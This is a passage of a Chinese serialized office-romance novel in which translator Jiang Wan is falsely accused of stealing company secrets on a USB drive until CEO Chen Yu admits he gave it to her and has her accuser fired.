手在发抖,可姜挽却不敢回头,因为她清楚地知道,此刻除了陌生和别扭外,她的大脑正被另一类情绪控制,是悸动,是期待,是符合所有面对心上人时的暧昧和荷尔蒙。 可这些,她都不能让陈屿知道。 好在,陈屿的动作很快,不到一分钟便将纽扣系好了:“好了。”他退开一步,轻轻摩挲着指尖,那里刚才不小心碰到了她的后背,似乎还残留着她身上的体温。 “谢谢,”姜挽没敢看他,迈步就要走,“你快去换衣服吧。” “等一下,”陈屿却突然叫住她,“你刚才为什么会突然掉下去?” 姜挽愣了下,随即开口:“我要是说是被人故意陷害的,你会相信吗?” 陈屿拧眉看着她的背影,没说话。就在姜挽以为他不会相信,甚至有些后悔和他说这些的时候,他却再次突然开口:“是谁?” 这次,轮到姜挽不吭声了。 刚才的回答是情急之下太冲动了,现在想想实在没必要。她没证据,要是说了的话,不仅听起来像是在背后告黑状,而且也会给陈屿带来困扰。他没义务,也没有时间来帮她处理这些。 见她犹豫,陈屿冷哼一声,以为她是不愿意告诉自己,那她打算告诉谁?那个她口中的男朋友吗?情绪一上来,他就又回到了之前的模样,不自觉就戴上了那副冷漠刻薄的面具。因为,他真的是被伤怕了。 “怎么?你连她的名字都不敢说吗?搞了半天,你也就只敢和我横?” 说罢,连解释的机会都不给她,拿起衣服径直进了更衣室。 他进去了,姜挽也就没有必要再在这里等着了。而且看他刚才不悦的样子,想必换完衣服后也并不想看见她。 姜挽收拾好自己的湿衣服,再次看了一眼更衣室的方向,轻轻带上房门,从房间离开。不过她也没再回去,而是直接从酒店大堂出来,叫了车,直接回家了。 陈屿从更衣室出来后,见房间里空荡荡的,更生气了,接连抽了好几根烟才把内心的躁郁压下。 回去的路上,姜挽收到了林瑜发来的微信,林瑜还是一贯的直接,没有任何寒暄,上来就问她需不需要帮忙。看来,刚才发生的事情她应该也知道了。 事情发生后,她是除陈屿外第一个和她联系的人,而且还是关心她,姜挽难免有些动容。于是便把她已经回家的事情告诉了林瑜,还拜托她,要是有其他事情的话,麻烦微信和她说一声。 林瑜很干脆,立马回复微信说可以,还叮嘱她回家好好休息,有些事,有些人,不必放在心上。 姜挽明白她的意思,一场算不上意外的意外,她没办法向其他人证明。而且以她的性格,也不可能用同样的手段对方简简做出反击。所以,她现在只希望事情能早点过去,以后尽量避免。 只是她忽略了,要想生活平静,必须要双方都有这种想法才行。一旦有一方不愿意,那么接下来必将是无休止的谣言和风波。 58. 第 58 章 周末两天,因为周五那件事,姜挽在家短暂地给自己放了个假,什么工作都没做,单纯调整心情和状态。 长久以来形成的抗压能力和心理素质,让她很快便休整过来,周一再去公司的时候已经完全恢复了。她是准备心无旁骛开展工作的,可偏偏,有人不愿意。 刚进公司,便见方简简和其他几个外派翻译在聊天,见她进来,几人忙散开,很明显,她们讨论的话题和她有关。 姜挽没停留,她看见了,也装作没看见。这种事情她最近经历的太多了,没时间,也没心思去纠结这些。 接完咖啡,回来在座位上坐下,哪知刚打开电脑,旁边的方简简却突然朝她靠近,自从上次闹掰后,她们两人已经很长时间都没有如此近距离地接触过了。 空气中飘来一阵浓重的香水味。 “我听说上周五开会的时候你掉进游泳池了,怎么回事啊?”方简简杏目圆睁,故作惊讶,可仔细看的话就会发现,掩藏的眸色之下全是狡黠和得意:“不是我说你,那么大的地方你都能掉下去,也太不小心了吧?下次可得注意点,毕竟不是每一次都会这么幸运,刚好有陈总救你的。再说了,就算他救你,这传出去也不好听呀,要是陈总再因为这个事生病了,就更不值得了。” 她噼里啪啦说了一大堆,姜挽算是听明白了,不仅把她自己撇得干干净净,顺便还讽刺了她一波。 姜挽今天原本都已经做好心里建设了,只要方简简不提,她就不会再提这件事。她如今只想好好工作,并不想惹麻烦,可偏偏事与愿违。 输入电脑密码,点击“Enter”键,桌面出现了她上周没翻译完的项目文档,姜挽习惯性地再次点了保存。一个吐息的功夫,她转过身来,冷冷看着方简简:“是啊,那么大的地方,我当然不是自己掉下去的。刚好,借这个机会我也给大家提个醒,”她故意加大音量,“大家以后走路的时候尽量多注意,说不准从哪儿就突然冒出来一只脚,把你绊倒了,事后还要推脱责任,在旁边说风凉话。” 她这话虽没明说,可也已经足够指向明确了,一时间,大家都朝方简简看了过去,尽管都没开口,可意思也已经很明显了,姜挽口中的那个人,是她。 刹那间,方简简坐不住了,“腾”的一下从凳子上起身,恶狠狠瞪着姜挽:“你这话什么意思?暗指我绊了你吗?没有证据的事,你张口就来,就不怕我告你诽谤吗?” 姜挽不说话,只是直直和她对视着。 可能是心虚吧,方简简先露了怯,开始采用大声喊叫的方式来证明自己的清白,可声音越大,只会越显示她的惶恐。到最后,她甚至伸出手要来推姜挽,好在被旁边的林瑜拦下了。 事情闹得这样大,必然会惊动领导,没多会儿,她们两人便被叫进了林洁的办公室。 姜挽不惹事,但也不怕事,她以为只是一些沟通和调解,也做了心理准备。却没想到,自从进了办公室,方简简简直像是完全变了一个人,刚才的嚣张跋扈没了,咄咄逼人也没了,又拿出了她以往的那副清纯柔弱的样子,没说两句便开始掉眼泪,硬是把自己伪装成了无辜的受害者! 主动挑事的是姜挽,咄咄逼人的也是她,就连今天这场闹剧,也是因为方简简主动关心同事,是她姜挽不领情,不识好歹,破坏了同事关系! 一番解释下来,姜挽其实说的话并不多,她原本以为已经足够了解方简简了,可现在看来,还是太少了。 就像是洋葱,她只剥了最外面的一层,见识到了方简简伪善的一面,就以为这已经是她的底线了。殊不知,里面还有一层又一层,每一层都比第一层要呛人,也都比第一层要令人作呕。 意料之外,却也是情理之中。 见姜挽话少,方简简以为她是怕了,便继续连哭带闹地和林洁诉说她的委屈,最后,林洁都有些受不了了,按了按太阳穴,尝试打断她:“你先别着急,这件事情毕竟姜挽也是当事人,让她也说两句吧。” 方简简不服气:“林经理……” “我说了,让姜挽也说两句。”毕竟是当领导的人,关键时候还是镇得住场的,林洁这一开口,方简简虽不愿意,可也只是干瞪着眼,没再说话。 既然事情都已经发展到这个地步了,姜挽当然会说。她不仅要说,还要把上周五在酒店发生的事情,一五一十,全都仔仔细细地说清楚。 一时间,事情风向发生了变化,方简简瞬间成了恶意陷害同事,挑拨离间,影响工作氛围的一方。 被当中揭穿了,她当然不会认,急得跳脚:“不是这样的,林经理,她冤枉我,您不要相信她!” 林洁看着她,虽没开口,可眼神已经很冷了:“这件事情现在你们双方各执一词,一时间也做不了决断,先回工位吧,后续还需要继续调查,等有结果了我再通知你们。” 这个结果,姜挽是能够接受的,可方简简就不一样了,因为她知道,时间拖得越长,对她就越不利。 情急之下,她一不小心说了逾矩的话:“还调查什么呀,事情不是已经很清楚了吗,就是她的问题!”她指向姜挽,像是一直期待的目标就在眼前,急不可耐,“把她开除!” “方简简!现在我做事情都要你来安排了吗?要不要我这个位置也让给你来坐?” 林洁发火了,越是这种平时不轻易发火的人,发起火来才最吓人:“先不说现在事情并不明朗,就算搞清楚了,如何处理那也是人事的工作,不是你三言两句就能决定的。再说了,考虑到类似的事情之前也发生过,之前你和林瑜也闹过这样的矛盾,所以这一次,我们会更加仔细谨慎地对待。不会冤枉好人,但也绝对不会包庇陷害同事的员工!” 一番话,掷地有声,又铿锵在理,方简简瞬间慌了神。她绝对不能让她们去慢慢调查,也不能把之间和林瑜的那些事再牵扯进来,要真是这样的话,她就完了! 她必须把目标全都集中在姜挽身上! 心念一动,她大叫一声:“我要举报!举报姜挽盗取公司机密!” 此话一出,姜挽和林洁同时愣住了,姜挽是莫名,林洁则是觉得气愤。 “方简简,饭可以乱吃,话可不能乱说!”林洁拍案,“你得对你说的话负责!” “我当然负责了,”方简简冷笑,也顾不得掩饰一二了,偏执得像个赌徒,“你要是不信,可以去调查她啊!她有一个U盘,里面的资料我看过,涉及各种GSC的翻译资料,那种级别的信息,绝不是我们这种外派翻译能够拿到的。所以只有一种可能,那就是她私下对公司机密信息进行了盗取!至于想要拿着这些资料做什么,我就不知道了。” 到此,姜挽终于明白过来了,方简简指的是之前陈屿给她的那个U盘,可她从没在公众场合使用过,所以…… “你私自动我东西?” 方简简倒是没否认,而是快速转向林洁,简直有些疯癫:“您看,她承认了!你们快去找人调查她呀!晚了等她把资料销毁了,就来不及了!” 看着这场闹剧,林洁也有些无奈。坦白讲,她对姜挽的为人是非常认可的,入职这段时间,她从不作妖,总是尽职尽责地完成了工作。而且方简简这人她之前也有接触过,知道她也不是什么老实本分的人,所以这件事从一开始,她情感上是站在姜挽这边的。 可现在突然出了一个这么大的岔子,方简简竟然举报她“盗取公司机密”,这性质就完全不一样了。 两个同事之前的部门内部矛盾,和公司的合规问题相比,完全不在一个层面。 她叹一口气:“姜挽,针对这件事情,你有什么想说的吗?” 姜挽这会儿已经冷静下来了:“林经理,我也不是第一天参加工作了,有些职场原则和公司合规我很清楚,绝对不会触犯的,”她先表明了自己的立场,才继续解释道,“事情完全不是方简简说的那样,我确实是有一个U盘,但那是我个人的物品,和公司资料无关,更不存在盗取公司信息的情况。” “那U盘里的资料为什么涉及GSC信息,这个U盘又是从哪里来的,你能解释清楚吗?”林洁还没说什么呢,方简简倒是抢了先。 林洁瞪了她一眼,转而面向姜挽,神色虽严肃,却并不压迫:“没事,你说吧,这个U盘的来源只要你能说清楚,公司合规那边也不是不能解释。” U盘是…… 姜挽的心里此时有两股东西在较劲,一股是按照自己的本能,说吧,把事情的来龙去都脉解释清楚,知道这个U盘是陈屿给她的之后,公司肯定就不会再继续追究了。 可理性思考后,就有另外一种想法出现。陈屿当初给她这个U盘是出于项目考虑,为了提高她工作效率和能力的。现在她要是把他说出来,不仅不地道,甚至还会触犯到他的边界。毕竟,这段时间接触下来,陈屿从不掩饰对她的反感,自然也就不会想要在公众场合和她扯上关系。 “抱歉,”她思索片刻,坦诚道,“这个U盘的来源我现在不能说,但我能保证的是,我绝对没有盗取过公司的信息。” “你保证?你拿什么保证?”方简简丝毫不给她喘息的机会,“是拿你那本就没多少的道德底线,还是低劣的人品?” “行了,你们先出去吧,”林洁也有些焦躁,她也是第一次遇上这种事,“这件事我需要联系合规部门来处理。” 出了办公室,在还没有任何正式通知的情况下,方简简便擅自和其他同事开始传播“姜挽盗取GSC机密信息”的事儿。 一传十,十传百,下午的时候,整个公司基本都已经知道了。合规部门迫于压力,也是为了避免舆论进一步发酵,暂时关闭了姜挽的工作权限,并没收了她的办公电脑。就连那个U盘,为了配合调查,也一并收上去了。 接着HR又来找她,还是当初帮她办理入职的那位,通知她这两天可以先回家休息,等这件事情调查清楚后再考虑后续的工作安排。 工作这么长时间,这种事情姜挽还是第一次遇到,因为没经验,一时也有些六神无主。 沈繁星不能说,她离得远,也不属于GSC,说了只会徒增她的烦恼,让她一起跟着着急罢了。林瑜也不行,自己和人家也不是很熟,况且她也属于翻译部,这个时候,多少也应该避避嫌。 那就只有…… 姜挽的指尖停在联系人清单“周海”的名字那里,有些犹豫。在GSC,因为工作的原因,她和周海接触还算多,而且电脑被收,她唯一担心的也就是尼斯项目的翻译。 正当她犹豫不决之际,电话铃声突然响了起来,恰巧是周海给她打来的。 姜挽接起来:“周经理。” 周海那边像是在外面,背景声音很嘈杂,而且他也很急,连姜挽的名字都没来得及叫,上来直接说事:“事情我听说了,公司这不是瞎搞吗,你怎么会盗取机密呢?你就不是这样的人!” 姜挽很感谢这个时候他还能这样相信她,但GSC确实也有一套合规流程:“周经理,这件事我没做过,我也不怕被调查,只是尼斯项目的翻译可能会被耽误几天。不过您放心,一旦事情解决,我会立马加班把延迟的翻译补上的。” 周海在电话那头叹了口气:“其实项目的事情是小,这个项目虽说交期着急,可两三天的缓冲还是有的,况且你能力强,我一向相信你,关键是…… 他顿了下,接着像是换了一个地方,背景声音一下子就小了许多:“关键是对你个人的影响,这点你得注意。其实我在给你打电话之前,已经先和林洁联系过了,她也和我说了,无非就是一个U盘的事情,只要你能解释清楚,后面这些繁琐的流程也就不需要再继续了。听我一句劝,要不你就和合规部门解释一下吧?” 同样的意思,之前在办公室的时候,林洁也表达过,坦白讲,这种情况下他们还能替她考虑,姜挽很感激。 起风了,她的额发被吹起,姜挽有一瞬间的恍惚,可不过短短一秒,她便再次坚定信念。 几年前她对陈屿做的那些事情皆是不得已,当时她没有选择的权利。可如今她是一个拥有独立意志的主体,可以自主选择任何想做或者不想做的事情。所以,她再也不要利用他,再也不会为了自己的利益去做出可能会伤害到他的事情。 在沉静的日光和早秋的凉风中,她做了一个决定,其实也称不上是刚做,这个想法她一直都有,只是今天再次坚定了而已:她再也不要伤害陈屿,她也要保护他。 “周经理,抱歉,这个我真的没办法说,请您理解。” 她这么说,周海基本也就明白了,没再继续劝她,只让她安心等着,这两天就当作是放个假,好好休息休息。 这一等,就到了两天后,等到陈屿出差回来的那天。 陈屿刚从外面回来,就听说了这件事,心烦得厉害,进办公室后,“啪”的一声将西装外套扔在了办公桌上。他想不明白,他不过才离开了两天,出了两天差而已,就发生了这样的事? 不过他心烦一半是因为这,另一半则是因为姜挽在被如此对待之后,竟然没有联系他。 宋泽宇跟在他身后,小心将外套收起,仔细挂在旁边的衣帽架上。刚整理完,恰巧看见周海进来,朝他使了个眼色,算是提醒他陈总现在心情不好,便离开了。 陈屿心情不好,周海也看出来了,他每次心情不好的时候就爱抽烟。此时缭绕的烟雾掠过陈屿的眉眼,隐约间,把他衬得更冷了。 可再冷,周海也得说:“陈总……” 他刚开了个口,就被陈屿打断:“要是工作的事,你就别说了,我现在没心情听这些。” 周海愣住了,想了想,觉得这也不全是工作的事。况且他这两天就一直在等着陈屿回来,怎么可能轻易放过这个机会。周海顺着他刚才的意思,换了副口吻:“不是,不是,是个人的事情,主要关系到姜挽。” 话音落,陈屿偏过头来,扫他一眼。 不冷不热的一眼,周海实在辨不出他的情绪,可还是继续开口道:“这两天发生的事情,想必您也知道了,不过我敢保证,姜挽一定是被冤枉的,她不是这种人。” “哦?”陈屿终于有了点反应,抬起眼皮,将烟蒂捻灭在烟灰缸,像是很感兴趣,“你继续说。” 周海这才有了点底气,拉开凳子在他对面坐下,端着肩膀,格外认真:“虽然我和她认识的时间不长,但凭着点这么多年的生活经验,自认为她是怎么样的一个人,我还是能看清楚的。”他倾身向前,满眼诚挚,“那就是一个不争不抢,踏踏实实干事的小姑娘,盗取公司机密这事,她是绝对不会做的。” 陈屿当然知道了,他比任何人都知道,因为这件事的源头——U盘,就是他给她的。他只是不明白姜挽为何不把这件事情说出来? 是不敢?还是不想? 虽然很不愿意承认,可他觉得二者相较,还是第二个理由更有可能。 她是不想。 不想和他再有任何牵扯,即便是这个牵扯能在关键时候帮助她。 越想,心越沉。 可陈屿掩饰得很好,内心虽思绪万千,面上却不显。周海见他没反应,还以为他是不相信,毕竟联想到之前的几次接触,他好像都是比较针对姜挽的。 于是,他换了个赛道,打算从业务入手:“再说了,尼斯项目现在正是进度紧张的时候,翻译这部分可拖不得。这一块之前都是由姜挽负责的,她翻译专业,速度也快,给项目提供了很大的支持。要不,”他顿了下,因为知道接下来说出口的话可能有些越界了,“要不您再看看,这件事能不能从轻处理?早点解决,对公司项目也是有好处的。” 陈屿压根就不在乎什么项目,他在乎的,从始至终都是姜挽的想法。单手抚着额角,他假装不在意:“这件事她自己怎么说?U盘的来历能解释清楚吗?” 这也是周海没什么底气的地方:“这个……她说是不方便说,不过我问过了,她保证来源合法,绝对没有盗取公司机密。” 陈屿追问:“那她有没有说为什么不能说?是因为某个人?还是有其他的隐情?” 周海也犯难:“这倒没有,涉及到这个话题的,她挺坚决的,明确表达了不想说。” 果然如此。 不想说,不想暴露和他的联系,更不想和他扯上关系。 陈屿又燃了一支烟,飘忽不定的白烟,一如他此刻的内心,没有支点,永远无法着陆。 “你先出去吧。” 周海点头。 该说的都说了,该做的争取他也已经做了,余下的,就看公司的决定了。临走前,他还留了最后一句:“那这件事您再多考虑考虑,她不说,可能确实有她自己的顾虑,但她的人品和能力,大家都是有目共睹的。” 周海刚走,合规部门的负责人就来了,这件事情他虽已经在邮件里做了详细的说明,可按公司规定,还是需要当面和陈屿进行汇报。 陈屿心里只有姜挽,对他这些冗长的汇报一点耐心也没有,好不容易熬到他说完,一秒也没再等:“所以,现在结论到底是什么?” 见他生气,负责人很惊慌,可他也不知到底哪句话说错了,于是只得战战兢兢地继续开口:“结论就是,U盘里的东西确实有一部分是公司的信息,但基本都是翻译,并不涉及到机密。” U盘是陈屿给的,里面有什么东西,他再清楚不过了。之所以要多此一举问这个问题,就是要从合规方面,从公开公正的方面给姜挽一个公道,不在公司层面留下任何把柄,以防日后有人在背后议论。 “接下来是什么流程?”他追问。 负责人刚放松了几秒,立马又再次紧张起来:“虽说不涉及机密信息,可U盘毕竟存在,接下来我们会和当事人进行沟通,先了解U盘的来源和她的想法,再确定最终的处理方案。” 陈屿十指交叉,身体往前倾:“这个沟通的会,我也参加。” “没……没问题。”虽然这种情况以前从没遇到过,可老板要求的,负责人也不敢不同意。 一场战战兢兢的汇报,眼见着终于要结束,负责人擦着冷汗和陈屿道别,可没想到刚转身,却突然再次从身后被叫住,他转过来,脸一阵煞白:“陈总,您还有其他什么吩咐?” “那个举报姜挽的人叫什么?”虽然这个名字已经在陈屿眼前出现过很多次了,可他还是没记住。 “方简简。”负责人连忙回答。 “对她开启单独的调查。” “好的,我马上去办。”负责人松一口气,还好只是一个简单的调查工作。 在家的第三天,姜挽接到了GSCHR打来的电话,电话里说需要她下午去公司一趟,有些事情需要当面和她谈论,问她方不方便。 姜挽当然方便了,这几天她虽然在家,可情绪也不大好,翻来覆去总是想着这件事,主要是担心因为她自己的原因,给项目带来影响,从而对佳译造成损失。现在被通知了,她倒是也不用再继续纠结了,是福是祸,是死是活,总归是要有一个结论了。 只是没想到,到了公司,在揭开这个盖子的前一秒,她还被恶心了一下,很不幸地和方简简在走廊碰见了。 这会儿走廊里没人,很安静,全部的声音都只有方简简的高跟鞋落在地上的“哒哒”声。她趾高气昂地朝姜挽走来,绕着她打量了一圈,还真是一点挖苦姜挽的机会都不放过:“你脸皮还真是厚,做了这种事情竟然还有脸来公司?” 她嗤笑,低头来回欣赏着自己新做的指甲,“不过啊,脸皮再厚也没用,这个社会,并不是谁不要脸,谁就能赢。看在一起工作过一段时间的份上,我不妨告诉你,像你这种情况,结果只有一个,那就是——”她凑近,最后两个字咬得格外用力,“开除。” 姜挽退开两步,俯视着她,没有愤怒,只有平静。几次交锋下来,她已经摸清方简简的套路了,无非就是一些下作手段加言语攻击,不在意,自然也就不会被影响:“同样的话,我也送给你,这个社会,并不是谁不要脸,谁就能赢。” 有些人很奇怪,一旦你拿她和你说的话回怼她时,她就受不了了,方简简此时就是这种情况,怒目圆睁,咬牙切齿,很不客气地推了姜挽一下:“你说什么?你有种再说一次!” 方简简的声音吸引了屋内其他同事的注意,大家纷纷往这边看,却没人出来制止。因为她俩最近这事,大家基本也都知道了,在事情没有清晰明朗之前,没人愿意趟这趟浑水,都想着明哲保身。 就这么僵持了会儿,主要是方简简一直纠缠,姜挽要走,她一直不让,林瑜从外面回来看见了,走过来,一把扯掉方简简攥着姜挽的手臂:“你干嘛呢?大庭广众之下还搞恶意欺负这一套,是真的一点也不把员工手册放在眼里吗?” 方简简刚想发火,一看是林瑜,又气又怕:“你哪只眼睛看到我欺负她了?明明是她出言污蔑我,我维护自己的权益,让她给我道歉而已。再说了,我们俩的事,和你又有什么关系?” “我看不惯行吗?” “看不惯?”方简简冷笑,“要看不惯,你也应该是看不惯她吧?姜挽先是盗取公司机密,今天又在大庭广众之下侮辱我,我只不过是在维护公司和自己的利益,又做错了什么?” 她说的话,林瑜一个字都不会信,因为她贯知道方简简就是一个颠倒黑白,诬陷他人的性格。 林瑜厌恶地看着她:“姜挽不会做这样的事,这些事要是放在你身上,还有几分可信度。” 方简简一时愣住了,她没想到林瑜会这么直接,也没想到她会这么维护姜挽。在她眼里,林瑜一直都是一个不爱交际,也不爱管闲事的人,也正是因为这个原因,她当初才能把她孤立。 局势瞬间变换,现在她是一个人对两个人,方简简瞬间没了刚才的那股傲气,又因为之前诬陷过林瑜,也很 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“姜翻译,请进,您坐这儿吧。”HR先和她打招呼,指了指他们对面的一个座位。 姜挽机械地应声,又在他们的注视下,机械地坐下。视线在对面来回看一圈,她还是不太能理解。 HR和合规同事在,这是工作。林洁在,也可以理解,她是翻译部的领导,代管外派翻译,姜挽出事,她参会也是应该的。还有周海,也说得过去,他是尼斯项目的负责人,姜挽参与的主要项目就是这个,考虑到项目情况,他来也是正常的。 唯独陈屿,她怎么也想不明白。难道GSC对这种问题看得这么严,已经到了需要公司总裁出面的地步了? 见她有些紧张,HR开口,先给这场会议定了个基调:“您不用紧张,今天并不是什么批斗大会,事情我们已经调查清楚了,不是什么非常严重的性质,今天叫您来也只是为了再做一些了解而已。” 姜挽心里有数了。 接下来,确如HR刚才说的那样,整个沟通也还算友好,并没有拿各种法律和条款来压她,只是说虽然查到了U盘里的东西,但并不是什么机密信息,她要是能解释清楚这U盘和信息的来源,事情也就可以进行简单的处理。 又绕回之前那个问题了,只不过不同的是,前几次陈屿都不在,这次他就真真切切地在她眼前,和他们一起,等着她的回答。 两厢对视,各怀心事。 她不能说,姜挽想,之前几次她都没说,这次陈屿在眼前,她若是突然承认,不就是赤裸裸地打他脸,出卖他吗? 或许她会说,陈屿想,如今他在这里,她或许会改变主意,选择向他寻求帮助,他甚至连后面的话都想好了…… “非常抱歉,这个问题,我真的没办法回答。” 起风了,叶落了,心也沉了。陈屿仿佛又听到了下雨的声音,八年前的那场大雨,到现在还浇在他心头。 姜挽说完,HR和合规同时叹气,林洁和周海忙又开口劝她,只有陈屿没开口,冷冷盯着她。从他这冷漠的眼神里,姜挽看出了点其他的东西,不像是解脱,反倒更像是怨恨和失望。 到最后,姜挽还是不愿意说,HR只好告知她公司的正常处理结果,虽说不必到开除那么严重,可也会被记大过,年终奖金和项目奖金更是会因此受到影响。 姜挽坦然表示她都接受。 到这一步,其实已经没什么再说的了,事实清晰,双方也都接受,正当在场的人都以为这件事情会就此了结时,一道意想不到的声音突然响起,更让人没想到的,是他开口的话:“这个U盘,是我给她的。” 一时间,会议室鸦雀无声。等大家反应过来是什么情况后,更是面面相觑。 说这话的可是陈屿,是他们的老板!如果事实真如他所说,这个U盘是他给姜挽的,那他们之前做的那些事又算什么?一直逼问姜挽这U盘的来历又算什么呢? 沉默,漫长又无措的沉默。 姜挽也没想到他会突然这么说,和她一开始的预设,以及这些天的努力完全不一样,她着急,想解释:“不是,这个U盘其实……” “姜挽,”陈屿打断她,朝她看过来,窗外明明有阳光,也确实落在他的眼睛里,可他的眼神却依旧冰冷得如冬日的寒冰,冷漠,不耐,还有怨恨,“我做过的事情,还轮不到你来帮我隐瞒。” 瞬间,姜挽不说话了,是说不出来。面对处分时她可以无甚波澜,甚至能够坦然接受,可一旦面对陈屿,她就总觉得心里像是空了一块,语言和大脑都跟不上反应。 周海先是震惊,随后迅速反应过来帮忙打圆场:“Annie,这就是你的不对了,既然资料是陈总给的,又有什么不能说的呢?还绕这么大一圈,让大家都误会了。”他转头和HR以及合规解释,“不过这事儿啊,算下来还是我的责任最大,尼斯度假村这么大的项目,陈总有顾虑也是应该的,监督翻译这事儿其实是我的工作职责,应该是由我来盯的,都怪我考虑不周,还要劳烦陈总帮忙,是我工作的失误,以后我一定注意。” HR和合规这时候哪还敢开口,一个比一个脑袋垂得低,就怕陈总反过来找她们麻烦。 林洁也出来帮姜挽说话:“是啊,我早就说过了姜挽不是这种人,现在一看,还真是搞错了。不过这也不能怪大家,毕竟是有人实名举报,仔细点总是没错的。只不过让姜挽受委屈了,上周还被她推进水里,这周又被诬陷,真是可怜。” “你说什么?”陈屿突然接了她的话。 林洁吓一跳,虽然她是翻译部的经理,但老实说,平时和陈屿接触的机会并不多,见他又一直都是冷冰冰的,所以这会儿突然被问,也有点害怕:“我说……姜挽是被冤枉的。” “上一句?” 林洁费力思考:“她上周五还被方简简推进了水里……” 陈屿要的就是这句,这还真是欺负到他头上了,他转向HR:“这个人,立马给我开掉。” 这一波又一波的,HR根本反应不过来,只凭着职业本能回答:“陈总,她没有重大的过错,也没有……” 陈屿没耐心听她说完:“无论付出多大代价,这个人,必须开掉。”然后,许是为了给自己这失控的情绪找个借口,他补充道,“GSC绝对不会允许这种人在这里工作。” 说罢,他起身,掸了掸西装下摆,径直从会议室离开。 他走后,大家都松了一口气。 HR和合规率先和姜挽道歉,说这件事误会她了,希望她不要介意。接着周海和林洁又来安慰她,也告诉她这件事情就算是这么过去了,不要放在心上。 这件事情里,周海和林洁帮了她多少,姜挽是非常清楚的,所以对他们的话,她当然也只有感激,一再表达对他们的感谢,并保证以后肯定通过好好工作来回报。 事情虽然解决了,可姜挽还不能立马回办公室,主要还有流程要走,得等GSC的审批正式完成了,才能把电脑和U盘还给她。 回家的路上,姜挽第一件事就是给林瑜发微信,告诉她事情已经解决了。林瑜也替她高兴,微信里安慰她不用担心工作,刚好趁这个机会多休息两天,自从来了GSC就没见她怎么休息过。 林瑜是利落的性格,很快便结束了和她的对话。只不过聊天结束后,姜挽却久久没有从微信里面退出来。 这个点地铁里人不多,风吹动车厢,有轻微嘎吱晃动的声音。 想了很久,姜挽还是点开了和陈屿的聊天对话框,再三斟酌,最后还是尽量简短地发了一句话过去:【刚才,谢谢你。】 她以为陈屿不会回的,也做好了他不回复的准备,毕竟刚才在会议室里他看她的眼神,她也注意到了。可没想到,没过多久,陈屿便回了过来,只不过说的话和这件事没有任何关系。 【你就这点心理素质?屁大点事,至于把自己搞成这样吗?】 姜挽没懂他的意思,可还是不自觉垂下眼睫,有些慌张:【我……怎么了?】 打完字,她打开手机前置摄像头看了眼,除了脸色有点憔悴,其他看不出来什么。 陈屿回得很快,一来一回不过几秒之间:【你在家都不照镜子的吗?看看你那脸瘦的,脸上除了眼睛,还能看到其他五官吗?】 姜挽也没想到他指的竟然是这个意思,本以为他是担心影响工作,一时间也有些语塞:【……我会尽量调整的。】 陈屿真是一点面子也不给她:【你最好这样,不然佳译派一个心理素质这么差的人过来,GSC也不会放心和你们合作。】 直接、坦率、不留情面,是他的风格。隔着手机,姜挽似乎都能感觉到他身上那股桀骜又不耐烦的劲儿。 她没什么好辩解的,老老实实发了一个“知道了”过去,料想她这句话之后陈屿不会再回复,事实也果然如此。 可不回复,并不代表陈屿不在意,相反,这件事如今于他而言是最重要的一件。 退出微信,他便立马给HR和合规的负责人发了一封邮件,邮件里要求他们尽快去处理此事,下周一上班,他要看到最后的结果。 周末下了两天雨,雨很长,长到周一方简简接到自己被开除的通知时,发丝还挂着刚从外面进来时沾上的雨滴。 她盯着邮箱里HR发来的邮件,简直不敢相信,雨滴顺着发丝滴落在桌面,“啪嗒”一声,她才反应过来。 第一个动作就是扔东西。 鼠标、资料、办公文具,所以在她视线之内的,全都一股脑被她掀在了地上。 她实在是想不明白,如此证据确凿的事情,不仅没等来姜挽离开,反倒等来了自己被开除的通知? 她当然不接受了,吵闹着要去找HR要一个说法。 HR早有准备,关于她违规,旷工,乃至损害公司利益的证据,公司手里都有,可即便如此,GSC还是愿意按最高的补偿方式让她离开。 “2n+1,是我们目前能够给到的最高的条件。” 哪知方简简听后却冷笑,别说2n+1了,就算是+2、+3,她都不可能接受。她看中的根本就不是眼前这个外派翻译的岗位,而是以后的转正,是能够在GSC干到退休的长期稳定发展! “我不接受,坚决不接受!” 她一句话掷在地上,HR也没办法:“既然这样,那么接下来这件事情会移交给公司法务,会后续由法务来和你对接。” 说罢,HR打算走,方简简却大步拦住她,这个时候了,她还不打算放过姜挽:“我不知道姜挽是使用了什么手段才躲过了这劫,但既然她的问题都能解决,我的为什么就不可以?” HR也是看她癫狂,不想再引起不必要的麻烦,离开前,半是劝说半是警告地留了一句:“你情况特殊,不会有任何转圜的余地。” 59. 第 59 章 方简简那样的性格,没有达到自己的目的,是绝不会轻易罢休的。 后来,她又来公司闹了几次,虽然气焰嚣张,咄咄逼人,可法务团队早做了十足的准备,加之公司态度坚决,几次下来,她属实没讨着什么便宜。 秋风乍起,她一把扔掉手中的道具,忿忿开口:“这件事我知道是谁在中间搞鬼,你得意不了几天了,”她意有所指,故意看向姜挽的方向,“等着吧,我绝对不会这么善罢甘休的!” 因为隔得远,姜挽其实并没听清她说的话,可离方简简近的那几位同事却听清了。她们不约而同朝姜挽扫了一眼,而后又十分默契地迅速转了头。 短短几天时间,事情的风向发生了如此大的转变,说不疑惑,那是假的。更何况,早在方简简来闹事之前,她们就听到了一些类似的传闻。 据说,这次的事情陈总也有参加,而且开除方简简的决定,还是他亲自下达的,没有任何转圜的余地…… “我总觉得这事没这么简单,方简简这离开得也太突然了吧,姜挽反倒一点事没有?所以,我合理怀疑她和陈总有点什么。要是什么都没有,陈总是不会管这档子闲事的。以前这样的事情又不是没有过,他哪次在意了?更别说还像这次这样亲自参与了。” 茶水间里,咖啡机旁,几个女生围在一起小声嘀咕。 “你这么一说,好像还真是,她和陈总不会真有点什么吧?自古英雄难过美人关,陈总看上她也不是不可能,毕竟她那张脸,在GSC确实也是数一数二的。” “这么说来,我们以后在她面前还得多注意点。” …… 一直都是如此,有人的地方就有八卦。 姜挽和林瑜这会儿就站在门外,将里面的对话听得一清二楚。她们原本是打算来接咖啡的,听到这些,姜挽瞬间没了心情,皱眉,转身,拉着林瑜就打算走。 她顾及体面,不愿意和她们产生冲突,可林瑜就不一样了,当下立马挣开她的手,大步迈回茶水间,几乎是瞬间便站到了那些人面前,高昂着头,垂眸俯视。 “你们喜欢八卦没问题,可也得依据事实吧?方简简是什么人,和她共事这么长时间,我不相信你们不知道。现在事情都盖棺定论,公司也已经出通知了,你们还这么捕风捉影地议论,有点说不过去吧?” 听她这么说,对面的几个人瞬间面面相觑。她们本就理亏,又被这么毫不留情地当面拆穿,便含糊着想要离开。 林瑜却不同意,往门口的方向迈了一步,彻底将路堵死。 狭小的空间内,气氛瞬间紧张起来。 